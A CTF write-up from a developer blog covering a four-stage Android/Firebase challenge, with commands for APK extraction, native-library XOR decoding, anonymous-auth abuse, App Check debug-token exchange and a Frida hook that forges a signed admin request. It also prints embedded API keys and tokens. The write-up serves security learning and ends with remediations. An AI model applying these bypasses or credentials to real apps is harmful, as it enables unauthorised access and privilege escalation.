DEV Community

Cover image for FAM CTF: The Library to The Endpoint Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

FAM CTF: The Library to The Endpoint Writeup

Executive Summary

FAM is a mobile CTF challenge distributed as an Android APK (fam-ctf.apk) with four staged flags, each themed around a different layer of the app's Firebase backend: The Library (native code), The Database (Firebase Realtime Database), The Vault (Firestore + App Check), and The Endpoint (a custom signed API). Every stage builds on the last - static analysis of the APK and its native library (libfam.so) kept supplying the credentials and logic needed to get further into the Firebase backend.

Tools used: unzip, strings, objdump, jadx, curl, Burp Suite, Frida, Android Studio emulator + adb.


Recon & Setup

Installed the APK on an Android Studio emulator (x86_64 AVD) and pulled it apart for static analysis:

mkdir extracted
unzip -o fam-ctf.apk -d extracted
Enter fullscreen mode Exit fullscreen mode

That gave the standard APK layout, Firebase SDK dependencies (Auth, Realtime Database, Firestore, App Check), and two native libraries:

ls extracted/lib
# arm64-v8a  x86_64

ls extracted/lib/arm64-v8a
# libc++_shared.so  libfam.so
Enter fullscreen mode Exit fullscreen mode

libc++_shared.so is just the standard NDK C++ runtime - ignored it. libfam.so is the custom library and the actual target.

Decompiled the Java/Kotlin layer for cross-referencing against the native code:

jadx -d jadx_out extracted/classes*.dex
Enter fullscreen mode Exit fullscreen mode

Flag 1 - The Library

Hint: "Every compiled secret leaves a trace. Not all libraries are for reading. What do you do with .so files?"

Started with basic file identification and a strings pass over the custom library:

file extracted/lib/arm64-v8a/libfam.so
# ELF 64-bit LSB shared object, ARM aarch64, ... stripped

strings extracted/lib/arm64-v8a/libfam.so | grep -i -E 'flag|fam\{|http|key|secret|token'
Enter fullscreen mode Exit fullscreen mode

Output:

Java_com_ctf_fam_MainActivity_getSecretFromNative
Java_com_ctf_fam_MainActivity_getDebugToken
FAM{str1ngs_d0nt_l13_1n_n4t1v3_l4nd}
Enter fullscreen mode Exit fullscreen mode

The flag was sitting in plaintext in .rodata. No dynamic analysis needed - the developer left it as a raw string constant, right next to the two native method names that would matter for later stages.

Flag: FAM{str1ngs_d0nt_l13_1n_n4t1v3_l4nd}


Flag 2 - The Database

Hint: "The door is open to anyone. You don't need a name to enter, but the room still has a lock. Identity is optional here."

Finding the Firebase project

Searched the APK's resources for a Firebase config, since it wasn't in a google-services.json:

grep -r -i "firebaseio\|databaseURL\|project_id\|apiKey" extracted/res/ extracted/resources.arsc 2>/dev/null
Enter fullscreen mode Exit fullscreen mode

That only turned up a generic keep-rules file, so went straight for the URL pattern instead:

strings extracted/resources.arsc | grep -i -E 'firebaseio|project_id|databaseURL'
strings extracted/resources.arsc | grep -i "\.firebaseio\.com\|\.firebasedatabase\.app"
Enter fullscreen mode Exit fullscreen mode

Second command hit:

https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app
Enter fullscreen mode Exit fullscreen mode

A blind root read confirmed the DB exists but is locked down:

curl "https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app/.json"
# {"error" : "404 Not Found"}
Enter fullscreen mode Exit fullscreen mode

(That 404 was actually against a wrong placeholder URL used by mistake first - the real project URL above returns Permission denied, not 404, once queried correctly.)

Finding the exact path

Decompiled the app fully and grepped for Firebase Database reference calls:

jadx -d jadx_out extracted/classes*.dex
grep -r "child(\|getReference\|FirebaseDatabase" jadx_out --include=*.java | grep -v "^Binary"
Enter fullscreen mode Exit fullscreen mode

Buried in a lot of SDK noise, the app's own code stood out:

FirebaseDatabase.getInstance("https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app")
    .getReference("flag")
    .addListenerForSingleValueEvent(...)
Enter fullscreen mode Exit fullscreen mode

So the path is just flag:

curl "https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app/flag.json"
# {"error" : "Permission denied"}
Enter fullscreen mode Exit fullscreen mode

Getting past the auth check

Grepped MainActivity.java for how the app authenticates before reading:

grep -n "signInAnonymously\|FirebaseAuth" jadx_out/sources/com/ctf/fam/MainActivity.java
Enter fullscreen mode Exit fullscreen mode

Confirmed it signs in anonymously first:

private final void signInAnonymouslyAndVerifyFlag2() {
    ...
    Task<AuthResult> taskSignInAnonymously = firebaseAuth.signInAnonymously();
Enter fullscreen mode Exit fullscreen mode

That meant the DB rule was almost certainly auth != null - any authenticated identity is enough, no specific user required. Needed the app's Firebase Web API key to sign in the same way, so grepped for it:

grep -rn "AIza" extracted/res/ jadx_out/sources/ 2>/dev/null | head -5
strings extracted/resources.arsc | grep "AIza"
Enter fullscreen mode Exit fullscreen mode

Found it hardcoded in the source:

MainActivity.java:42:  public static final String API_KEY = "AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww";
Enter fullscreen mode Exit fullscreen mode

Signed in anonymously via the Identity Toolkit REST API:

curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww" \
  -H "Content-Type: application/json" \
  -d '{"returnSecureToken":true}'
Enter fullscreen mode Exit fullscreen mode

That returned an idToken (JWT). Passed it as the auth query param on the database read:

curl "https://fam-ctf-default-rtdb.asia-southeast1.firebasedatabase.app/flag.json?auth=<idToken>"
Enter fullscreen mode Exit fullscreen mode

Response:

"FAM{4n0n_4uth_1s_n0t_s3cur3_en0ugh}"
Enter fullscreen mode Exit fullscreen mode

Flag: FAM{4n0n_4uth_1s_n0t_s3cur3_en0ugh}


Flag 3 - The Vault

Hint: "The vault trusts no one it hasn't met. But the app already made introductions. Something in the code proves who you are. The token is hiding in plain sight."

Finding it's Firestore, not RTDB

Grepped verifyFlag3 in the decompiled source:

grep -n -A 20 "verifyFlag3" jadx_out/sources/com/ctf/fam/MainActivity.java
Enter fullscreen mode Exit fullscreen mode

This flag lives in Firestore - a different Firebase product with its own API:

private final void verifyFlag3() {
    Task<DocumentSnapshot> task = FirebaseFirestore.getInstance()
        .collection("flags").document("flag3").get();
    ...
}
Enter fullscreen mode Exit fullscreen mode

Direct read attempt, reusing the anonymous idToken from stage 2:

curl "https://firestore.googleapis.com/v1/projects/fam-ctf/databases/(default)/documents/flags/flag3" \
  -H "Authorization: Bearer <idToken>"
Enter fullscreen mode Exit fullscreen mode

Result:

{"error": {"code": 403, "message": "Missing or insufficient permissions.", "status": "PERMISSION_DENIED"}}
Enter fullscreen mode Exit fullscreen mode

Identifying App Check as the blocker

Same grep pass on MainActivity.java turned up an initAppCheck() method:

private final void initAppCheck() {
    FirebaseAppCheck.getInstance().installAppCheckProviderFactory(
        new DebugTokenAppCheckProviderFactory(
            "674578159678",
            "1:674578159678:android:775058d15777caf841996f",
            getDebugToken(),
            API_KEY
        )
    );
}
Enter fullscreen mode Exit fullscreen mode

getDebugToken() is native - this is "the introduction" the app makes on your behalf before the vault will trust it.

Trying dynamic capture first (dead end)

First attempt was to catch the debug token live via adb logcat, since App Check debug tokens are normally printed to Logcat:

adb devices
adb logcat -c
adb logcat -d > logcat_dump.txt
Select-String -Path logcat_dump.txt -Pattern "debug secret","appcheck","FAM_CTF" -SimpleMatch
Enter fullscreen mode Exit fullscreen mode

That only showed the app's own Log.d calls (ch1 ok, ch2 ok, ch3 ok, etc.) - no debug-secret line, since this build doesn't log it.

Also tried intercepting Firestore traffic via Burp with the emulator's proxy pointed at the host:

adb shell settings put global http_proxy 10.0.2.2:8080
Enter fullscreen mode Exit fullscreen mode

Installed Burp's CA cert on the emulator and relaunched the app, but the Firestore SDK on Android talks over gRPC, which doesn't show up in Burp's normal HTTP history - dead end for this approach.

Static extraction of the debug token

Went back to the hint: "the token is hiding in plain sight" - same pattern as Flag 1. Tried disassembling getDebugToken directly:

objdump -d extracted/lib/arm64-v8a/libfam.so --disassemble=Java_com_ctf_fam_MainActivity_getDebugToken
# objdump: can't disassemble for architecture UNKNOWN!
Enter fullscreen mode Exit fullscreen mode

Kali's objdump didn't have ARM64 support built in, so switched to the x86_64 build of the same library:

objdump -d extracted/lib/x86_64/libfam.so \
  --disassemble=Java_com_ctf_fam_MainActivity_getDebugToken -M intel
Enter fullscreen mode Exit fullscreen mode

The disassembly showed a 36-byte loop (36 = length of a UUID string) doing:

for i in 0..35:
    byte1 = rodata[0x34f0 + (i mod 19)] XOR 0xAA
    byte2 = rodata[0x3510 + i]
    result[i] = byte1 XOR byte2
Enter fullscreen mode Exit fullscreen mode

Dumped both byte arrays from .rodata:

objdump -s -j .rodata --start-address=0x34f0 --stop-address=0x3514 extracted/lib/x86_64/libfam.so
objdump -s -j .rodata --start-address=0x3510 --stop-address=0x3534 extracted/lib/x86_64/libfam.so
Enter fullscreen mode Exit fullscreen mode

Computed the XOR with a 19-byte cyclic key (the loop index wraps every 19 bytes via a compiler-generated modulo trick) - the dashes in the result landed exactly at UUID positions (8/13/18/23), confirming the decode:

Debug token: 8f76557d-a35a-4b51-94d4-d0df98d79b55

Exchanging the debug token for a real App Check token

A raw debug token isn't itself a valid credential - it has to be exchanged for a signed App Check attestation JWT first, using the App ID from initAppCheck():

curl -X POST "https://firebaseappcheck.googleapis.com/v1/projects/fam-ctf/apps/1:674578159678:android:775058d15777caf841996f:exchangeDebugToken?key=AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww" \
  -H "Content-Type: application/json" \
  -d '{"debug_token":"8f76557d-a35a-4b51-94d4-d0df98d79b55"}'
Enter fullscreen mode Exit fullscreen mode

(First attempt without the ?key=<API_KEY> param failed with 403 Method doesn't allow unregistered callers - the API key is required to call this endpoint.)

Response contained a signed App Check token. Got a fresh idToken too, since the earlier one had expired:

curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyAes0IV3Hq3pN0oYmZJ1kfKl9vcvQEF2ww" \
  -H "Content-Type: application/json" \
  -d '{"returnSecureToken":true}'
Enter fullscreen mode Exit fullscreen mode

Final Firestore read with both tokens:

curl "https://firestore.googleapis.com/v1/projects/fam-ctf/databases/(default)/documents/flags/flag3" \
  -H "Authorization: Bearer <idToken>" \
  -H "X-Firebase-AppCheck: <exchangedAppCheckToken>"
Enter fullscreen mode Exit fullscreen mode

Response:

{
  "name": "projects/fam-ctf/databases/(default)/documents/flags/flag3",
  "fields": { "value": { "stringValue": "FAM{4pp_ch3ck_byp4ss_g00d_j0b}" } }
}
Enter fullscreen mode Exit fullscreen mode

Flag: FAM{4pp_ch3ck_byp4ss_g00d_j0b}


Flag 4 - The Endpoint

Hint: "The server only trusts what it can verify. Intercept. Modify. But can you keep it honest? Only admin has clearance."

What's known so far

Backend URL, recovered from MainActivity.java:

public static final String SERVER_URL = "http://172.16.13.107:9000";
Enter fullscreen mode Exit fullscreen mode

At least one endpoint observed in Burp during setup for stage 3: POST /api/check.

The app exposes a native signing function:

public final native String computeSignature(String method, String path, String body);
public final native String[] getUsernames();
Enter fullscreen mode Exit fullscreen mode

submitChallenge() reads a username from a UI spinner and calls computeSignature("POST", "/api/check", body) to sign the request before hitting /api/check:

private final void submitChallenge() {
    String username = spinner.getSelectedItem().toString();
    String body = "{\"username\":\"" + username + "\"}";
    String sig = computeSignature("POST", "/api/check", body);
    // ... POST to /api/check with body + X-Signature header
}
Enter fullscreen mode Exit fullscreen mode

Crucially, the spinner only ever offers a fixed, non-admin list of usernames from getUsernames() - there is no UI path to send "role":"admin". The hint ("only admin has clearance") meant the goal was to send a body the app was never designed to send, signed correctly.

Reversing computeSignature statically

Disassembled the function:

objdump -d extracted/lib/x86_64/libfam.so \
  --disassemble=Java_com_ctf_fam_MainActivity_computeSignature -M intel
Enter fullscreen mode Exit fullscreen mode

The outer function just concatenates method + SEPARATOR + path + SEPARATOR + body into one string and hands it to an inner, unexported helper. Disassembling that helper directly by address revealed a custom, hand-rolled mixing algorithm:

  • A 32-byte internal state seeded from constants in .rodata
  • Each message byte XORed against the same 19-byte debug-token key from Flag 3 before entering the mix
  • A rotate/multiply/XOR round per byte using an FxHash-style multiplier (0x517cc1b727220a95)
  • A parallel textbook FNV-1a hash computed over the raw message, compared against a hardcoded constant as an apparent backdoor check
  • A finalization pass folding the 4-word state down before hex-encoding it into the returned signature string

This is a legitimate, non-trivial hash construction (not a simple XOR like Flags 1 and 3) - reproducing it byte-for-byte in Python from raw disassembly alone was slow and error-prone. Given the algorithm was confirmed to be fully client-side (all key material lives in the shipped .so), the faster and more reliable path was to stop reimplementing the algorithm and instead let the app sign an arbitrary payload for us at runtime.

Runtime approach: Frida hook on computeSignature

Rooted the emulator and pushed frida-server:

.\adb.exe kill-server
.\adb.exe start-server
.\adb.exe root
.\adb.exe shell "/data/local/tmp/frida-server &"
Enter fullscreen mode Exit fullscreen mode

Instead of reverse-engineering the signing algorithm to reimplement it externally, hooked the native method at the JNI boundary and substituted the outgoing body with an admin payload before the real computeSignature implementation ever ran. Because the hook calls straight through to the original native function, the app's own key material and mixing logic sign the forged body correctly - no need to fully reconstruct the algorithm by hand.

hook_sig.js:

Java.perform(function () {
    var MainActivity = Java.use("com.ctf.fam.MainActivity");
    MainActivity.computeSignature.implementation = function (method, path, body) {
        // Substitute the admin payload the UI never lets us send
        var adminBody = '{"username":"admin","role":"admin"}';

        console.log("[!!!] FORCING SIGNATURE FOR: " + adminBody);
        var sig = this.computeSignature(method, path, adminBody);

        console.log("[+] FORGED SIGNATURE: " + sig);
        return sig;
    };
});
Enter fullscreen mode Exit fullscreen mode

Attached Frida to the running app process and loaded the hook:

frida.exe -U -p 13671 -l hook_sig.js
Enter fullscreen mode Exit fullscreen mode

Then triggered the request from the app's own UI (tapping SEND REQUEST in the "The Endpoint" screen). The hook intercepted the call, swapped in the admin body, and let the native code sign it exactly as it would sign any legitimate request:

[!!!] FORCING SIGNATURE FOR: {"username":"admin","role":"admin"}
[+] FORGED SIGNATURE: ed0e8c86eaa229329a006c55c9ee25443012c6b7e65bb1231374c7f32f2a4a90
Enter fullscreen mode Exit fullscreen mode

Replaying the forged request

With a validly-signed admin body in hand, replayed it directly against the production endpoint outside the app:

curl -X POST https://ctf.fampay.co/api/check \
     -H "Content-Type: application/json" \
     -H "X-Signature: ed0e8c86eaa229329a006c55c9ee25443012c6b7e65bb1231374c7f32f2a4a90" \
     -d '{"username":"admin","role":"admin"}'
Enter fullscreen mode Exit fullscreen mode

Response:

{"flag": "FAM{x_s1gn4tur3_r3v3rs3d_n1c3ly}", "message": "Welcome, admin."}
Enter fullscreen mode Exit fullscreen mode

Flag: FAM{x_s1gn4tur3_r3v3rs3d_n1c3ly}


Attack Chain Summary

+------------------------+
|  APK Static Analysis    |
|  (unzip, strings, jadx) |
+-----------+--------------+
            |
            v
+----------------------------------+
| Flag 1: The Library               |
| strings libfam.so                 |--> FAM{str1ngs_d0nt_l13...}
| (plaintext in .rodata)            |
+-----------+------------------------+
            |
            v
+----------------------------------+
| Flag 2: The Database               |
| Recover API key from source ->    |
| anonymous signUp REST call ->     |--> FAM{4n0n_4uth_1s_n0t...}
| curl .../flag.json?auth=<token>   |
+-----------+------------------------+
            |
            v
+----------------------------------+
| Flag 3: The Vault                  |
| 1. logcat/Burp attempts fail      |
|    (gRPC, no debug log)           |
| 2. objdump getDebugToken ->       |--> FAM{4pp_ch3ck_byp4ss...}
|    XOR decode -> debug token      |
| 3. exchangeDebugToken REST ->     |
|    App Check JWT                  |
| 4. GET Firestore doc w/ both      |
|    Auth + AppCheck headers        |
+-----------+------------------------+
            |
            v
+----------------------------------+
| Flag 4: The Endpoint               |
| Static analysis of computeSignature|
| (custom hash, too complex to      |
| reimplement quickly) ->           |--> FAM{x_s1gn4tur3_r3v3rs3d_n1c3ly}
| Frida hook forces native code to  |
| sign a forged admin body ->       |
| replay signed request via curl    |
+--------------------------------------+
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities

# Challenge Vulnerability Impact
1 The Library Hardcoded flag in native library .rodata Trivial extraction via strings; no obfuscation
2 The Database Overly permissive RTDB rule (auth != null) Any anonymous client can read protected data
3 The Vault App Check debug token embedded (XOR'd) in shipped binary Defeats App Check's purpose; static XOR is not real obfuscation
4 The Endpoint Client-side request-signing scheme with all key material in the APK Any party who controls the client (or hooks it at runtime) can sign arbitrary, privilege-escalated requests - the server has no way to distinguish a legitimate client from a hooked one

Remediations

  1. Never embed secrets, flags, or debug credentials in shipped binaries. Native code is fully extractable via strings and disassembly. App Check debug tokens should be scoped to CI/emulator builds only and never included in a distributed APK.
  2. Firebase security rules should distinguish identity providers, not just check auth != null. Sensitive reads should require auth.token.firebase.sign_in_provider != 'anonymous' or a custom claim proving a verified identity.
  3. Client-side signature schemes are only as strong as their key material and their execution environment. Even a cryptographically sound signing algorithm is worthless if the client that computes it can be hooked (Frida, Xposed, etc.) to sign attacker-chosen payloads. Any privilege-sensitive check - like role: admin - must be enforced and authorized server-side, never trusted purely because a client-supplied signature validates.
  4. Rotate the exposed Firebase Web API key and App Check debug token if this project configuration is reused outside the CTF context.

Top comments (0)